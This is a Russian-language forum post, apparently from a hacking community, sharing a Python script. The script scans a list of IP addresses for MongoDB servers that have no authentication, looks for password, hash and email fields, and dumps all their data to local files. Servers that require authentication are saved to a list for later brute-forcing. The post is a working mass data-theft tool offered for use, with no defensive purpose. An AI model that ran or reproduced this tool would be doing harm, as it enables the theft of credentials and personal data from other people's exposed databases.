Старый скрипт для проверки IP на наличие MongoDB и проверку прав, если бд не закрыта правами, то присходит проверка на интересующие поля.
Скрипту года 2-3, работает в один поток, если нужно могу переписать, добавить многопоточность и Elastic, Couch и т.п.
Работает с последней версией Python (чуть пришлось переписать).
Установка зависимостей:
Настройки тут:
Тут поля для поиска:
Скрипту года 2-3, работает в один поток, если нужно могу переписать, добавить многопоточность и Elastic, Couch и т.п.
Работает с последней версией Python (чуть пришлось переписать).
Установка зависимостей:
pip install pymongoНастройки тут:
Python:
TARGET_PATH = r'ip.txt'
MONGO_CONNECT_TIMEOUT = 5000
MONGO_SOCKET_TIMEOUT = 5000
MONGO_PORT = 27017
PORT_CHECK_TIMEOUT = 5Тут поля для поиска:
Python:
get_db_info(c,['pass', 'hash', 'email'])
Python:
import os, socket
from pymongo import MongoClient
def check_port(ip, port, portCheckTimeout):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(portCheckTimeout)
try:
s.connect((ip, port))
except:
return False
else:
return True
def get_db_info(c, find_word):
if not os.path.exists(c.address[0]):
os.makedirs(c.address[0])
info_path = '{}/# Data_Base_Info'.format(c.address[0])
write_log(info_path,'='*18 + ' MongoDB Info ' + '='*18)
write_log(info_path,'\tIp Address: {}'.format(c.address[0]))
write_log(info_path,'\tMongoDB Version: {}'.format(c.server_info()['version']))
write_log(info_path,'\tDebugs Enabled: {}'.format(str(c.server_info()['debug'])))
write_log(info_path,'\tPlatform: {} bit'.format(str(c.server_info()['bits'])))
write_log(info_path,'\tData Bases: {}'.format(', '.join(c.database_names())))
for word in find_word:
write_log(info_path,'\tFind "{}": {}'.format(word, find_field(c,word)))
write_log(info_path,'='*50)
def get_dump(c):
for collection in c.database_names():
db = c[collection]
for table in db.collection_names():
if table != 'system.indexes':
write_to_txt(c.address[0]+'/'+collection,('# Ip Address: {} Collection: {} Database: {}'.format(c.address[0],collection,table)).upper())
# Set Columns Names
cur = db[table].find({}).limit(1)
for doc in cur:
write_to_txt(c.address[0]+'/'+collection,('# Columns: '+(', '.join(doc.keys()))))
# Set Values
cur = db[table].find({})
line = []
for doc in cur:
for k, v in doc.items():
try:
line.append(' '.join(str(v).split()))
except:
line.append('Error line')
write_to_txt(c.address[0]+'/'+collection,(', '.join(line)))
line = []
write_to_txt(c.address[0]+'/'+collection,('-'*50))
def find_field(c, find_word):
find_match = ''
for collection in c.database_names():
db = c[collection]
for table in db.collection_names():
if table != 'system.indexes':
cur = db[table].find({}).limit(1)
for doc in cur:
for field in doc.keys():
if find_word in field:
find_match = '[+] {} {} {}'.format(collection,table,field)
if find_match == '':
find_match = '[-] Match not found!'
return find_match
def conn(ip, MongoPort, connectTimeoutMS, socketTimeoutMS, portCheckTimeout):
if check_port(ip, MongoPort, portCheckTimeout):
try:
c = MongoClient(ip, MongoPort, connectTimeoutMS=connectTimeoutMS, socketTimeoutMS=socketTimeoutMS)
c.list_database_names()
except Exception as e:
if ('servers found' in str(e)) or ('[Errno 10054]' in str(e)):
print ('[-] {} MongoDB not found'.format(ip))
write_to_txt('Bad',ip)
elif 'auth' in str(e):
print ('[*] {} MongoDB Require Authorized'.format(ip))
write_to_txt('ForBrute',ip)
else:
print ('[?] {} Unidentified Error: {}'.format(ip, e))
write_to_txt('Trash',ip)
return False
else:
return c
else:
return False
def write_log(path, line):
print (line)
with open('{}.txt'.format(path), "a") as f:
f.write('{}\n'.format(line))
f.close()
def write_to_txt(path, line):
with open('{}.txt'.format(path), "a") as f:
f.write('{}\n'.format(line))
f.close()
if __name__ == "__main__":
TARGET_PATH = r'ip.txt'
MONGO_CONNECT_TIMEOUT = 5000
MONGO_SOCKET_TIMEOUT = 5000
MONGO_PORT = 27017
PORT_CHECK_TIMEOUT = 5
ip_address = open(TARGET_PATH,'r').read().splitlines()
for ip in ip_address:
c = conn(ip, MONGO_PORT, MONGO_CONNECT_TIMEOUT, MONGO_SOCKET_TIMEOUT, PORT_CHECK_TIMEOUT)
if c != False:
get_db_info(c,['pass', 'hash', 'email'])
get_dump(c)
